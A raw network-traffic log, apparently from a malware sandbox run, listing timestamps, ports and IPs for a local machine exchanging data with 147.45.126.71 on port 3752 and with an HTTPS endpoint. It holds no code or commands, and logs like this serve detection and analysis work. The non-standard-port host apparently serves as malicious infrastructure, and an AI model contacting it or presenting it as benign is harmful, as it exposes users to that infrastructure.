Oct 8, 2024 20:52:27.689441919 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.689451933 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.692333937 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.692359924 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.702663898 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.702663898 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.702697992 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.717894077 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.717910051 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.717931032 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.717943907 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.717957020 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.717969894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718019962 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718033075 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718045950 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718058109 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718071938 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718589067 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718600988 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718614101 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718708992 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718720913 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718733072 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718749046 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718977928 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.718991041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719006062 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719072104 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719089985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719104052 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719116926 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719129086 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719141006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719156027 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719729900 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719753027 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719765902 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719778061 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719791889 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.719835997 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.720208883 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720221043 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720235109 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720261097 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720273018 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720283985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720305920 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720318079 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720330954 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720345020 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720730066 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720735073 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.720735073 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.720743895 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720761061 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720787048 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720798969 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720810890 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720824957 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720880032 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720891953 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720904112 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720916033 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720927954 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.720928907 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.720928907 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.720942974 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721012115 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.721012115 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.721765041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721777916 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721790075 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721802950 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721815109 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721827030 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721847057 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721932888 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721946001 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721957922 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721970081 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721982002 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.721996069 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722724915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722740889 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722754002 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722826958 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722839117 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722851992 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722903013 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722914934 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722935915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722950935 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722974062 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722985983 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.722999096 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723121881 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.723172903 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.723206997 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.723346949 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.723649979 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723711967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723722935 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723748922 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.723771095 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723783016 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723794937 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723808050 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723896980 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723910093 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723922968 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.723936081 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.724225044 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.724237919 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.724603891 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.724617958 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.724631071 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.724647045 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.724719048 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.724731922 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.724742889 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.724756956 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.725387096 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.725501060 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.725501060 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.725980043 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.725992918 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.726006031 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.726203918 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.726217031 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.726228952 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.735410929 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.804325104 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804352999 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804366112 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804380894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804394960 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804406881 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804419994 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804435015 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804440975 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.804527998 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804539919 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804553032 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804565907 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804579020 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804589987 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804760933 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804856062 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804965019 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804977894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.804991961 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805003881 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805016041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805028915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805042028 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805094004 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.805125952 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805159092 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805170059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805234909 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805247068 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805259943 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805282116 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.805316925 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.805322886 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805432081 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805444002 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805455923 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805480003 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805489063 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.805489063 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.805494070 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805505991 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805517912 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805543900 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.805568933 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805602074 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805752993 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805767059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805778980 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805840015 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805927038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805943966 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805964947 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805978060 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.805990934 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806005001 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806020021 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806034088 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806155920 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806169033 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806180954 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806201935 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806212902 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806225061 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806236982 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806252003 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806497097 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806509972 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806523085 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806626081 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806646109 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806662083 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806674004 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806688070 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806699038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806711912 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806724072 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806736946 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806749105 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.806761026 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807041883 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807193041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807205915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807216883 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807229042 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807241917 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807269096 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807281017 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807292938 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807305098 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807317019 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807342052 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807353020 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807365894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807378054 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807404041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807744980 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807760000 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807773113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807796001 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807809114 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807821989 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807837009 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807956934 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807969093 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807984114 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.807996988 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808024883 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808037996 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808049917 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808062077 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808075905 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808089972 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808526993 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808538914 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808561087 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808573008 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808584929 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808597088 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808623075 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808804989 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808816910 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.808830023 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.812706947 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.812844992 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.812877893 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.813018084 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.813043118 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.813043118 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.813043118 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.813065052 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.813110113 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.844594002 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.845833063 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.884975910 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.885202885 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.885416985 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.886038065 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.886058092 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.886069059 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.886075020 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.888751984 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.888797045 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.888891935 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.889097929 CEST	49872	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.889111996 CEST	443	49872	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.890851974 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.890867949 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.890882015 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.890947104 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.890959978 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.890971899 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.890986919 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891127110 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891266108 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891278028 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891297102 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.891299009 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891313076 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891381979 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891411066 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891434908 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891446114 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.891448975 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891463995 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891479969 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891491890 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891506910 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891537905 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.891537905 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.891895056 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.891899109 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891913891 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891927004 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891941071 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891952991 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891964912 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.891973019 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.891988993 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892004967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892019033 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892024994 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.892040968 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892052889 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892065048 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892074108 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.892079115 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892091990 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892107010 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892151117 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892191887 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.892316103 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892328024 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892342091 CEST	3752	49855	147.45.126.71	192.168.2.9
